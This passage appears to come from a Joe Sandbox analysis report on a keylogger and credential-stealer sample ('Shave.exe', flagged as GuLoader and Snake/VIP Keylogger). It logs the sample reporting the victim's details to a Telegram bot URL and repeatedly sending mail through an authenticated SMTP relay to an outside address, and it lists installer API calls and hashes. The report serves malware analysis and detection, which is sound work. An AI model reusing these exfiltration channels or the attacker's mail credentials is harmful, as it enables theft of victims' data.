4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49859	172.67.177.134	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:09:24 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:09:25 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:24 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478873 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dszxD7JvBSI212SAvfN56hT%2B%2FKCH0e1cMP%2BSTMfvgk4D142kx3vwEbuaI1APTh3jL%2FC9DsNcuLZT5e5X99iiso8rUJvh4iT8wK3ny3eAYzjf%2B2vp2XIm8QNLaKCXyztupTglmH7l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f7842bba742b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1716637&cwnd=236&unsent_bytes=0&cid=2e87c289766580f6&ts=460&x=0"
2024-11-25 06:09:25 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49865	149.154.167.220	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:09:26 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20and%20Time:%2026/11/2024%20/%2019:05:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20899552%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-25 06:09:27 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 06:09:27 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 06:09:27 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 25, 2024 07:09:35.713319063 CET	587	49886	199.79.63.24	192.168.2.5	220-bh-58.webhostbox.net ESMTP Exim 4.96.2 #2 Mon, 25 Nov 2024 11:39:35 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 25, 2024 07:09:35.713610888 CET	49886	587	192.168.2.5	199.79.63.24	EHLO 899552
Nov 25, 2024 07:09:36.107814074 CET	587	49886	199.79.63.24	192.168.2.5	250-bh-58.webhostbox.net Hello 899552 [8.46.123.75] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Nov 25, 2024 07:09:36.108850002 CET	49886	587	192.168.2.5	199.79.63.24	AUTH login bXVrZXNoQGNpcG1hY2guY29t
Nov 25, 2024 07:09:36.503189087 CET	587	49886	199.79.63.24	192.168.2.5	334 UGFzc3dvcmQ6
Nov 25, 2024 07:09:37.025199890 CET	587	49886	199.79.63.24	192.168.2.5	235 Authentication succeeded
Nov 25, 2024 07:09:37.025454998 CET	49886	587	192.168.2.5	199.79.63.24	MAIL FROM:<mukesh@cipmach.com>
Nov 25, 2024 07:09:37.421365976 CET	587	49886	199.79.63.24	192.168.2.5	250 OK
Nov 25, 2024 07:09:37.421561003 CET	49886	587	192.168.2.5	199.79.63.24	RCPT TO:<py.thonk@yandex.com>
Nov 25, 2024 07:09:37.854011059 CET	587	49886	199.79.63.24	192.168.2.5	250 Accepted
Nov 25, 2024 07:09:37.854224920 CET	49886	587	192.168.2.5	199.79.63.24	DATA
Nov 25, 2024 07:09:38.252501965 CET	587	49886	199.79.63.24	192.168.2.5	354 Enter message, ending with "." on a line by itself
Nov 25, 2024 07:09:38.253202915 CET	49886	587	192.168.2.5	199.79.63.24	.
Nov 25, 2024 07:09:38.752681017 CET	587	49886	199.79.63.24	192.168.2.5	250 OK id=1tFSHy-000O7a-0A
Nov 25, 2024 07:09:38.754858017 CET	49886	587	192.168.2.5	199.79.63.24	QUIT
Nov 25, 2024 07:09:39.350253105 CET	587	49886	199.79.63.24	192.168.2.5	221 bh-58.webhostbox.net closing connection
Nov 25, 2024 07:09:40.791296959 CET	587	49898	199.79.63.24	192.168.2.5	220-bh-58.webhostbox.net ESMTP Exim 4.96.2 #2 Mon, 25 Nov 2024 11:39:40 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 25, 2024 07:09:40.791568995 CET	49898	587	192.168.2.5	199.79.63.24	EHLO 899552
Nov 25, 2024 07:09:41.186019897 CET	587	49898	199.79.63.24	192.168.2.5	250-bh-58.webhostbox.net Hello 899552 [8.46.123.75] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Nov 25, 2024 07:09:41.186201096 CET	49898	587	192.168.2.5	199.79.63.24	AUTH login bXVrZXNoQGNpcG1hY2guY29t
Nov 25, 2024 07:09:41.580845118 CET	587	49898	199.79.63.24	192.168.2.5	334 UGFzc3dvcmQ6
Nov 25, 2024 07:09:42.012026072 CET	587	49898	199.79.63.24	192.168.2.5	235 Authentication succeeded
Nov 25, 2024 07:09:42.012243986 CET	49898	587	192.168.2.5	199.79.63.24	MAIL FROM:<mukesh@cipmach.com>
Nov 25, 2024 07:09:42.406829119 CET	587	49898	199.79.63.24	192.168.2.5	250 OK
Nov 25, 2024 07:09:42.406996965 CET	49898	587	192.168.2.5	199.79.63.24	RCPT TO:<py.thonk@yandex.com>
Nov 25, 2024 07:09:42.838032007 CET	587	49898	199.79.63.24	192.168.2.5	250 Accepted
Nov 25, 2024 07:09:42.838196039 CET	49898	587	192.168.2.5	199.79.63.24	DATA
Nov 25, 2024 07:09:43.232280970 CET	587	49898	199.79.63.24	192.168.2.5	354 Enter message, ending with "." on a line by itself
Nov 25, 2024 07:09:43.233875990 CET	49898	587	192.168.2.5	199.79.63.24	.
Nov 25, 2024 07:09:43.636759996 CET	587	49898	199.79.63.24	192.168.2.5	250 OK id=1tFSI3-000OA6-07
Nov 25, 2024 07:09:45.156111956 CET	49898	587	192.168.2.5	199.79.63.24	QUIT
Nov 25, 2024 07:09:45.751384020 CET	587	49898	199.79.63.24	192.168.2.5	221 bh-58.webhostbox.net closing connection
Nov 25, 2024 07:09:47.061172962 CET	587	49913	199.79.63.24	192.168.2.5	220-bh-58.webhostbox.net ESMTP Exim 4.96.2 #2 Mon, 25 Nov 2024 11:39:46 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 25, 2024 07:09:47.061311960 CET	49913	587	192.168.2.5	199.79.63.24	EHLO 899552
Nov 25, 2024 07:09:47.437448978 CET	587	49913	199.79.63.24	192.168.2.5	250-bh-58.webhostbox.net Hello 899552 [8.46.123.75] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Nov 25, 2024 07:09:47.437622070 CET	49913	587	192.168.2.5	199.79.63.24	AUTH login bXVrZXNoQGNpcG1hY2guY29t
Nov 25, 2024 07:09:48.019036055 CET	587	49913	199.79.63.24	192.168.2.5	334 UGFzc3dvcmQ6
Nov 25, 2024 07:09:48.397633076 CET	587	49913	199.79.63.24	192.168.2.5	235 Authentication succeeded
Nov 25, 2024 07:09:48.397772074 CET	49913	587	192.168.2.5	199.79.63.24	MAIL FROM:<mukesh@cipmach.com>
Nov 25, 2024 07:09:48.773571968 CET	587	49913	199.79.63.24	192.168.2.5	250 OK
Nov 25, 2024 07:09:48.777089119 CET	49913	587	192.168.2.5	199.79.63.24	RCPT TO:<py.thonk@yandex.com>
Nov 25, 2024 07:09:49.209161997 CET	587	49913	199.79.63.24	192.168.2.5	250 Accepted
Nov 25, 2024 07:09:49.209316015 CET	49913	587	192.168.2.5	199.79.63.24	DATA
Nov 25, 2024 07:09:49.585128069 CET	587	49913	199.79.63.24	192.168.2.5	354 Enter message, ending with "." on a line by itself
Nov 25, 2024 07:09:49.585777998 CET	49913	587	192.168.2.5	199.79.63.24	.
Nov 25, 2024 07:09:50.068130970 CET	587	49913	199.79.63.24	192.168.2.5	250 OK id=1tFSI9-000OD1-1H
Nov 25, 2024 07:09:50.069581032 CET	49913	587	192.168.2.5	199.79.63.24	QUIT
Nov 25, 2024 07:09:50.646209002 CET	587	49913	199.79.63.24	192.168.2.5	221 bh-58.webhostbox.net closing connection
Nov 25, 2024 07:09:52.019323111 CET	587	49925	199.79.63.24	192.168.2.5	220-bh-58.webhostbox.net ESMTP Exim 4.96.2 #2 Mon, 25 Nov 2024 11:39:51 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 25, 2024 07:09:52.019478083 CET	49925	587	192.168.2.5	199.79.63.24	EHLO 899552
Nov 25, 2024 07:09:52.403913975 CET	587	49925	199.79.63.24	192.168.2.5	250-bh-58.webhostbox.net Hello 899552 [8.46.123.75] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Nov 25, 2024 07:09:52.404251099 CET	49925	587	192.168.2.5	199.79.63.24	AUTH login bXVrZXNoQGNpcG1hY2guY29t
Nov 25, 2024 07:09:52.788863897 CET	587	49925	199.79.63.24	192.168.2.5	334 UGFzc3dvcmQ6
Nov 25, 2024 07:09:53.194047928 CET	587	49925	199.79.63.24	192.168.2.5	235 Authentication succeeded
Nov 25, 2024 07:09:53.194350004 CET	49925	587	192.168.2.5	199.79.63.24	MAIL FROM:<mukesh@cipmach.com>
Nov 25, 2024 07:09:53.578747034 CET	587	49925	199.79.63.24	192.168.2.5	250 OK
Nov 25, 2024 07:09:53.578918934 CET	49925	587	192.168.2.5	199.79.63.24	RCPT TO:<py.thonk@yandex.com>
Nov 25, 2024 07:09:54.016118050 CET	587	49925	199.79.63.24	192.168.2.5	250 Accepted
Nov 25, 2024 07:09:54.017061949 CET	49925	587	192.168.2.5	199.79.63.24	DATA
Nov 25, 2024 07:09:54.401535034 CET	587	49925	199.79.63.24	192.168.2.5	354 Enter message, ending with "." on a line by itself
Nov 25, 2024 07:09:54.405431986 CET	49925	587	192.168.2.5	199.79.63.24	.
Nov 25, 2024 07:09:54.799392939 CET	587	49925	199.79.63.24	192.168.2.5	250 OK id=1tFSIE-000OFW-0f

Target ID:	0
Start time:	01:07:58
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\Shave.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Shave.exe"
Imagebase:	0x400000
File size:	549'424 bytes
MD5 hash:	51000C141B602569CF44B0F8BEC9ECB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000000.00000002.2342460807.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2342825551.0000000004332000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:08:29
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\Shave.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Shave.exe"
Imagebase:	0x400000
File size:	549'424 bytes
MD5 hash:	51000C141B602569CF44B0F8BEC9ECB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.3299164468.000000003526B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3299164468.0000000035238000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.5%
Total number of Nodes:	1562
Total number of Limit Nodes:	39

Executed Functions

Function 0040336C Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0040338F
GetVersion.KERNEL32 ref: 00403395
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033C8
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 00403405
OleInitialize.OLE32(00000000), ref: 0040340C
SHGetFileInfoW.SHELL32(0079FEE0,00000000,?,000002B4,00000000), ref: 00403428
GetCommandLineW.KERNEL32(007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 0040343D
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Shave.exe",00000020,"C:\Users\user\Desktop\Shave.exe",00000000,?,00000006,00000008,0000000A), ref: 00403475

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004035AF
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004035C0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035CC
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035E0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035E8
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035F9
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403601
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 00403615

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 004036E0
ExitProcess.KERNEL32 ref: 00403701
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Shave.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403714
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Shave.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403723
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Shave.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040372E
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Shave.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040373A
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403756
DeleteFileW.KERNEL32(0079F6E0,0079F6E0,?,007A9000,00000008,?,00000006,00000008,0000000A), ref: 004037B0
CopyFileW.KERNEL32(C:\Users\user\Desktop\Shave.exe,0079F6E0,00000001,?,00000006,00000008,0000000A), ref: 004037C4
CloseHandle.KERNEL32(00000000,0079F6E0,0079F6E0,?,0079F6E0,00000000,?,00000006,00000008,0000000A), ref: 004037F1
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403820
OpenProcessToken.ADVAPI32(00000000), ref: 00403827
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040383C
AdjustTokenPrivileges.ADVAPI32 ref: 0040385F
ExitWindowsEx.USER32(00000002,80040002), ref: 00403884
ExitProcess.KERNEL32 ref: 004038A7

Strings

UXTHEME, xrefs: 004033BC, 004033C1, 004033C7
1033, xrefs: 00403610
SeShutdownPrivilege, xrefs: 00403836
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 004036BD
\Temp, xrefs: 004035C6
C:\Users\user\Desktop\Shave.exe, xrefs: 004037BF
NSIS Error, xrefs: 0040342E
"C:\Users\user\Desktop\Shave.exe", xrefs: 00403443, 00403449, 0040363D
C:\Users\user\AppData\Local\Temp\, xrefs: 004035A4, 004035A9, 004035BF, 004035CB, 004035DA, 004035E7, 004035F3, 004035FB, 00403711, 00403722, 0040372D, 00403739, 00403746, 00403755, 00403806
Low, xrefs: 004035E2
.tmp, xrefs: 00403728
C:\Users\user\Desktop, xrefs: 00403733, 00403738, 00403765
~nsu, xrefs: 0040370C
Error launching installer, xrefs: 00403697
TMP, xrefs: 004035FC
TEMP, xrefs: 004035F4
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00403592, 004036B2, 0040375C, 00403766

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\Shave.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Shave.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-1575198338
Opcode ID: d8beda2cf6d53e1c23663c7b3f0cac31a10eecbcac031cdf32090e7074c6eb08
Instruction ID: 91e47d7dade8a9784fbcad93861d46a8301334ec9f5f2e607ded2091cc9dec5c
Opcode Fuzzy Hash: d8beda2cf6d53e1c23663c7b3f0cac31a10eecbcac031cdf32090e7074c6eb08
Instruction Fuzzy Hash: 04D12671600300ABD720BF719D45B2B3AACEB8174AF00887FF981B62D1DB7D8955876E

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C93
GetDlgItem.USER32(?,00000408), ref: 00404C9E
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CE8
LoadBitmapW.USER32(0000006E), ref: 00404CFB
SetWindowLongW.USER32(?,000000FC,00405273), ref: 00404D14
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D28
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D3A
SendMessageW.USER32(?,00001109,00000002), ref: 00404D50
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D5C
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D6E
DeleteObject.GDI32(00000000), ref: 00404D71
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D9C
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404DA8
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E3E
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E69
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E7D
GetWindowLongW.USER32(?,000000F0), ref: 00404EAC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EBA
ShowWindow.USER32(?,00000005), ref: 00404ECB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FC8
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040502D
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405042
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405066
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405086
ImageList_Destroy.COMCTL32(?), ref: 0040509B
GlobalFree.KERNEL32(?), ref: 004050AB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405124
SendMessageW.USER32(?,00001102,?,?), ref: 004051CD
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051DC
InvalidateRect.USER32(?,00000000,00000001), ref: 004051FC
ShowWindow.USER32(?,00000000), ref: 0040524A
GetDlgItem.USER32(?,000003FE), ref: 00405255
ShowWindow.USER32(00000000), ref: 0040525C

Strings

, xrefs: 00405234
M, xrefs: 00404E25
N, xrefs: 00404F06

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 7bba4bc50886af6ee4f9e8a9478083b1cbee84b53dc979653cd125d1348ee930
Instruction ID: 9d148378a915bf423124f05431c6d1c5c5454a8af56f3bee09cc42272145c63f
Opcode Fuzzy Hash: 7bba4bc50886af6ee4f9e8a9478083b1cbee84b53dc979653cd125d1348ee930
Instruction Fuzzy Hash: 59026EB0900209EFEB109F54DD85AAE7BB9FB85314F10817AF610BA2E1D7799E41CF58

Function 6F971B63 Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6F97121B: GlobalAlloc.KERNEL32(00000040,?,6F97123B,?,6F9712DF,00000019,6F9711BE,-000000A0), ref: 6F971225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 6F971C6F
lstrcpyW.KERNEL32(00000008,?), ref: 6F971CB7
lstrcpyW.KERNEL32(00000808,?), ref: 6F971CC1
GlobalFree.KERNEL32(00000000), ref: 6F971CD4
GlobalFree.KERNEL32(?), ref: 6F971DB6
GlobalFree.KERNEL32(?), ref: 6F971DBB
GlobalFree.KERNEL32(?), ref: 6F971DC0
GlobalFree.KERNEL32(00000000), ref: 6F971FAA
lstrcpyW.KERNEL32(?,?), ref: 6F972144
GetModuleHandleW.KERNEL32(00000008), ref: 6F9721B9
LoadLibraryW.KERNEL32(00000008), ref: 6F9721CA
GetProcAddress.KERNEL32(?,?), ref: 6F972224
lstrlenW.KERNEL32(00000808), ref: 6F97223E

Memory Dump Source

Source File: 00000000.00000002.2386745512.000000006F971000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F970000, based on PE: true

Associated: 00000000.00000002.2386728456.000000006F970000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386788272.000000006F973000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386807263.000000006F975000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f970000_Shave.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 1fd7fb93b20e84e9bb29657208738ca1191e64ba3882d05827fa26970d9105d4
